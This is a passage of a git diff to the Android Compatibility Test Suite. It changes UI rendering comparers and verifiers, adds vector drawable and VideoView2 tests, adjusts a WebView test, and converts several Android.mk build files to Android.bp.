+ int windowWidth, int windowHeight) {
double avg0 = 0;
double avg1 = 0;
- for (int y = 0 ; y < WINDOW_SIZE ; y++) {
- for (int x = 0 ; x < WINDOW_SIZE ; x++) {
+ for (int y = 0; y < windowHeight; y++) {
+ for (int x = 0; x < windowWidth; x++) {
int index = indexFromXAndY(x, y, stride, start);
avg0 += getIntensity(pixels0[index]);
avg1 += getIntensity(pixels1[index]);
}
}
- avg0 /= WINDOW_SIZE * WINDOW_SIZE;
- avg1 /= WINDOW_SIZE * WINDOW_SIZE;
+ avg0 /= windowWidth * windowHeight;
+ avg1 /= windowWidth * windowHeight;
return new double[] {avg0, avg1};
}
@@ -122,12 +139,12 @@
* the second is the variance of the second set of pixels, and the third is the covariance.
*/
private double[] getVariances(int[] pixels0, int[] pixels1, double mean0, double mean1,
- int start, int stride) {
+ int start, int stride, int windowWidth, int windowHeight) {
double var0 = 0;
double var1 = 0;
double varBoth = 0;
- for (int y = 0 ; y < WINDOW_SIZE ; y++) {
- for (int x = 0 ; x < WINDOW_SIZE ; x++) {
+ for (int y = 0; y < windowHeight; y++) {
+ for (int x = 0; x < windowWidth; x++) {
int index = indexFromXAndY(x, y, stride, start);
double v0 = getIntensity(pixels0[index]) - mean0;
double v1 = getIntensity(pixels1[index]) - mean1;
@@ -136,9 +153,9 @@
varBoth += v0 * v1;
}
}
- var0 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
- var1 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
- varBoth /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ var0 /= (windowWidth * windowHeight) - 1;
+ var1 /= (windowWidth * windowHeight) - 1;
+ varBoth /= (windowWidth * windowHeight) - 1;
return new double[] {var0, var1, varBoth};
}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
index b9816db..ac1fa0e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
@@ -20,16 +20,18 @@
import android.graphics.BitmapFactory;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
-import android.uirendering.cts.testinfrastructure.ActivityTestBase;
public class GoldenImageVerifier extends BitmapVerifier {
- private BitmapComparer mBitmapComparer;
- private int[] mGoldenBitmapArray;
+ private final BitmapComparer mBitmapComparer;
+ private final int[] mGoldenBitmapArray;
+ private final int mWidth;
+ private final int mHeight;
public GoldenImageVerifier(Bitmap goldenBitmap, BitmapComparer bitmapComparer) {
- mGoldenBitmapArray = new int[ActivityTestBase.TEST_WIDTH * ActivityTestBase.TEST_HEIGHT];
- goldenBitmap.getPixels(mGoldenBitmapArray, 0, ActivityTestBase.TEST_WIDTH, 0, 0,
- ActivityTestBase.TEST_WIDTH, ActivityTestBase.TEST_HEIGHT);
+ mWidth = goldenBitmap.getWidth();
+ mHeight = goldenBitmap.getHeight();
+ mGoldenBitmapArray = new int[mWidth * mHeight];
+ goldenBitmap.getPixels(mGoldenBitmapArray, 0, mWidth, 0, 0, mWidth, mHeight);
mBitmapComparer = bitmapComparer;
}
@@ -38,6 +40,15 @@
}
@Override
+ public boolean verify(Bitmap bitmap) {
+ // Clip to the size of the golden image.
+ if (bitmap.getWidth() > mWidth || bitmap.getHeight() > mHeight) {
+ bitmap = Bitmap.createBitmap(bitmap, 0, 0, mWidth, mHeight);
+ }
+ return super.verify(bitmap);
+ }
+
+ @Override
public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
boolean success = mBitmapComparer.verifySame(mGoldenBitmapArray, bitmap, offset, stride,
width, height);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index 20f1fda..3962f02 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -97,7 +97,7 @@
.addCanvasClient("TorusClip", sTorusClipCanvasClient)
.addCanvasClient("TorusClipOut", sTorusClipOutCanvasClient)
.runWithVerifier(new GoldenImageVerifier(getActivity(),
- R.drawable.pathclippingtest_torus, new MSSIMComparer(0.95)));
+ R.drawable.pathclippingtest_torus, new MSSIMComparer(0.65)));
}
@Test
@@ -165,7 +165,7 @@
view.setScaleX(2);
view.setScaleY(2);
})
- .runWithComparer(new MSSIMComparer(0.90));
+ .runWithComparer(new MSSIMComparer(0.87));
}
@Test
@@ -220,6 +220,6 @@
initBlueWebView(hwFence), true, hwFence)
.addLayout(R.layout.circle_clipped_webview,
initBlueWebView(swFence), false, swFence)
- .runWithComparer(new MSSIMComparer(0.95));
+ .runWithComparer(new MSSIMComparer(0.94));
}
}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableScaleTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableScaleTest.java
new file mode 100644
index 0000000..2362a78
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableScaleTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.content.Context;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import android.widget.ImageView;
+
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+
+@MediumTest
+public class VectorDrawableScaleTest extends ActivityTestBase {
+ @Test
+ public void testVectorDrawableInImageView() {
+ final Context context = getInstrumentation().getTargetContext();
+ createTest()
+ .addLayout(R.layout.vector_drawable_scale_layout, view-> {
+ setupImageViews(view);
+ }, false /* not HW only*/)
+ .runWithVerifier(new GoldenImageVerifier(context,
+ R.drawable.vector_drawable_scale_golden,
+ new MSSIMComparer(.87f)));
+ }
+
+ // Setup 2 imageviews, one big and one small. The purpose of this test is to make sure that the
+ // imageview with smaller scale will not affect the appearance in the imageview with larger
+ // scale.
+ private static void setupImageViews(View view) {
+ ImageView imageView = (ImageView) view.findViewById(R.id.imageview1);
+ imageView.setImageResource(R.drawable.vector_icon_create);
+ imageView = (ImageView) view.findViewById(R.id.imageview2);
+ imageView.setImageResource(R.drawable.vector_icon_create);
+ }
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
old mode 100644
new mode 100755
index 14dd431..6d69945
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1795,16 +1795,20 @@
assertEquals(
mOnUiThread.getHeight(),
mOnUiThread.getContentHeight() * mOnUiThread.getScale(),
- tolerance * mOnUiThread.getScale());
+ tolerance * Math.max(mOnUiThread.getScale(), 1.0f));
// Make pageHeight bigger than the larger dimension of the device, so the page is taller
// than viewport. Because when layout_height set to match_parent, getContentHeight() will
// give maximum value between the actual web content height and the viewport height. When
// viewport height is bigger, |extraSpace| below is not the extra space on the web page.
- // Note that we are passing physical pixels rather than CSS pixels here, since screen
- // density scale is generally greater than 1, it only makes the page content taller.
+ // Note that we are passing physical pixels rather than CSS pixels here, when screen density
+ // scale is lower than 1.0f, we need to scale it up.
DisplayMetrics metrics = mOnUiThread.getDisplayMetrics();
- final int pageHeight = Math.max(metrics.widthPixels, metrics.heightPixels);
+ final float scaleFactor = Math.max(1.0f, 1.0f / mOnUiThread.getScale());
+ final int pageHeight =
+ (int)(Math.ceil(Math.max(metrics.widthPixels, metrics.heightPixels)
+ * scaleFactor));
+
// set the margin to 0
final String p = "<p style=\"height:" + pageHeight
+ "px;margin:0px auto;\">Get the height of HTML content.</p>";
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 380250f..a6271fd 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -27,7 +27,8 @@
android:maxRecents="1"
android:multiArch="true"
android:name="android.widget.cts.MockApplication"
- android:supportsRtl="true">
+ android:supportsRtl="true"
+ android:theme="@android:style/Theme.Material.Light.DarkActionBar">
<uses-library android:name="android.test.runner" />
@@ -386,6 +387,15 @@
</intent-filter>
</activity>
+ <activity android:name="android.widget.cts.VideoView2CtsActivity"
+ android:configChanges="keyboardHidden|orientation|screenSize"
+ android:label="VideoView2CtsActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name="android.widget.cts.AutoCompleteCtsActivity"
android:label="AutoCompleteCtsActivity"
android:screenOrientation="nosensor"
diff --git a/tests/tests/widget/res/layout/videoview2_layout.xml b/tests/tests/widget/res/layout/videoview2_layout.xml
new file mode 100644
index 0000000..9030e1b
--- /dev/null
+++ b/tests/tests/widget/res/layout/videoview2_layout.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <VideoView2
+ android:id="@+id/videoview"
+ android:layout_width="160dp"
+ android:layout_height="120dp"/>
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
new file mode 100644
index 0000000..e20f24e
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.VideoView2;
+
+/**
+ * A minimal application for {@link VideoView2} test.
+ */
+public class VideoView2CtsActivity extends Activity {
+ /**
+ * Called with the activity is first created.
+ */
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.videoview2_layout);
+ }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
new file mode 100644
index 0000000..05dd990
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.mockito.Matchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.session.MediaController;
+import android.media.session.PlaybackState;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.VideoView2;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Test {@link VideoView2}.
+ */
+@Ignore
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoView2Test {
+ /** Debug TAG. **/
+ private static final String TAG = "VideoView2Test";
+ /** The maximum time to wait for an operation. */
+ private static final long TIME_OUT = 15000L;
+ /** The interval time to wait for completing an operation. */
+ private static final long OPERATION_INTERVAL = 1500L;
+ /** The duration of R.raw.testvideo. */
+ private static final int TEST_VIDEO_DURATION = 11047;
+ /** The full name of R.raw.testvideo. */
+ private static final String VIDEO_NAME = "testvideo.3gp";
+ /** delta for duration in case user uses different decoders on different
+ hardware that report a duration that's different by a few milliseconds */
+ private static final int DURATION_DELTA = 100;
+ /** AudioAttributes to be used by this player */
+ private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+ .setUsage(AudioAttributes.USAGE_GAME)
+ .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+ .build();
+ private Instrumentation mInstrumentation;
+ private Activity mActivity;
+ private KeyguardManager mKeyguardManager;
+ private VideoView2 mVideoView;
+ private MediaController mController;
+ private String mVideoPath;
+
+ @Rule
+ public ActivityTestRule<VideoView2CtsActivity> mActivityRule =
+ new ActivityTestRule<>(VideoView2CtsActivity.class);
+
+ @Before
+ public void setup() throws Throwable {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mKeyguardManager = (KeyguardManager)
+ mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+ mActivity = mActivityRule.getActivity();
+ mVideoView = (VideoView2) mActivity.findViewById(R.id.videoview);
+ mVideoPath = prepareSampleVideo();
+
+ mActivityRule.runOnUiThread(() -> {
+ // Keep screen on while testing.
+ mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ mActivity.setTurnScreenOn(true);
+ mActivity.setShowWhenLocked(true);
+ mKeyguardManager.requestDismissKeyguard(mActivity, null);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View.OnAttachStateChangeListener mockAttachListener =
+ mock(View.OnAttachStateChangeListener.class);
+ if (!mVideoView.isAttachedToWindow()) {
+ mVideoView.addOnAttachStateChangeListener(mockAttachListener);
+ verify(mockAttachListener, timeout(TIME_OUT)).onViewAttachedToWindow(same(mVideoView));
+ }
+ mController = mVideoView.getMediaController();
+ }
+
+ @After
+ public void tearDown() throws Throwable {
+ /** call media controller's stop */
+ }
+
+ private boolean hasCodec() {
+ return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
+ }
+
+ private String prepareSampleVideo() throws IOException {
+ try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+ OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
+ final byte[] buffer = new byte[1024];
+ for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+ target.write(buffer, 0, len);
+ }
+ }
+
+ return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
+ }
+
+ @UiThreadTest
+ @Test
+ public void testConstructor() {
+ new VideoView2(mActivity);
+ new VideoView2(mActivity, null);
+ new VideoView2(mActivity, null, 0);
+ }
+
+ @Test
+ public void testPlayVideo() throws Throwable {
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ Log.i(TAG, "SKIPPING testPlayVideo(): codec is not supported");
+ return;
+ }
+ final MediaController.Callback mockControllerCallback =
+ mock(MediaController.Callback.class);
+ mActivityRule.runOnUiThread(() -> {
+ mController.registerCallback(mockControllerCallback);
+ mVideoView.setVideoPath(mVideoPath);
+ mController.getTransportControls().play();
+ });
+ ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+ verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+ someState.capture());
+ List<PlaybackState> states = someState.getAllValues();
+ assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+ assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+ assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+ }
+
+ @Test
+ public void testPlayVideoOnTextureView() throws Throwable {
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ Log.i(TAG, "SKIPPING testPlayVideoOnTextureView(): codec is not supported");
+ return;
+ }
+ final VideoView2.OnViewTypeChangedListener mockViewTypeListener =
+ mock(VideoView2.OnViewTypeChangedListener.class);
+ final MediaController.Callback mockControllerCallback =
+ mock(MediaController.Callback.class);
+ mActivityRule.runOnUiThread(() -> {
+ mVideoView.setOnViewTypeChangedListener(mockViewTypeListener);
+ mVideoView.setViewType(mVideoView.VIEW_TYPE_TEXTUREVIEW);
+ mController.registerCallback(mockControllerCallback);
+ mVideoView.setVideoPath(mVideoPath);
+ });
+ verify(mockViewTypeListener, timeout(TIME_OUT))
+ .onViewTypeChanged(mVideoView, VideoView2.VIEW_TYPE_TEXTUREVIEW);
+
+ mActivityRule.runOnUiThread(() -> {
+ mController.getTransportControls().play();
+ });
+ ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+ verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+ someState.capture());
+ List<PlaybackState> states = someState.getAllValues();
+ assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+ assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+ assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+ }
+}
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
new file mode 100644
index 0000000..aeb08cf
--- /dev/null
+++ b/tests/video/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsVideoTestCases",
+ defaults: ["cts_defaults"],
+ compile_multilib: "both",
+ static_libs: [
+ "ctsmediautil",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ jni_libs: [
+ "libctscodecutils_jni",
+ "libnativehelper_compat_libc++",
+ ],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
deleted file mode 100644
index f922734..0000000
--- a/tests/video/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctscodecutils_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVideoTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
new file mode 100644
index 0000000..4ba27ad
--- /dev/null
+++ b/tests/vr/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsVrTestCases",
+ defaults: ["cts_defaults"],
+ compile_multilib: "both",
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ jni_libs: [
+ "libctsvrextensions_jni",
+ "libnativehelper_compat_libc++",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ":CtsVerifierMockVrListenerServiceFiles",
+ ],
+ sdk_version: "test_current",
+ min_sdk_version: "14",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
deleted file mode 100644
index e945e047..0000000
--- a/tests/vr/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVrTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 14
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/vr/jni/Android.bp b/tests/vr/jni/Android.bp
new file mode 100644
index 0000000..1bdc092
--- /dev/null
+++ b/tests/vr/jni/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_library_shared {
+ name: "libctsvrextensions_jni",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ "-Wextra",
+ ],
+ srcs: ["VrExtensionsJni.cpp"],
+ include_dirs: [
+ "system/core/include",
+ "frameworks/native/opengl/include",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ "liblog",
+ "libEGL",
+ "libGLESv2",
+ ],
+ sdk_version: "current",
+ stl: "c++_static",
+}
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
deleted file mode 100644
index 3b62b8a..0000000
--- a/tests/vr/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsvrextensions_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_CFLAGS += -Werror -Wall -Wextra
-
-LOCAL_SRC_FILES := VrExtensionsJni.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libEGL libGLESv2
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)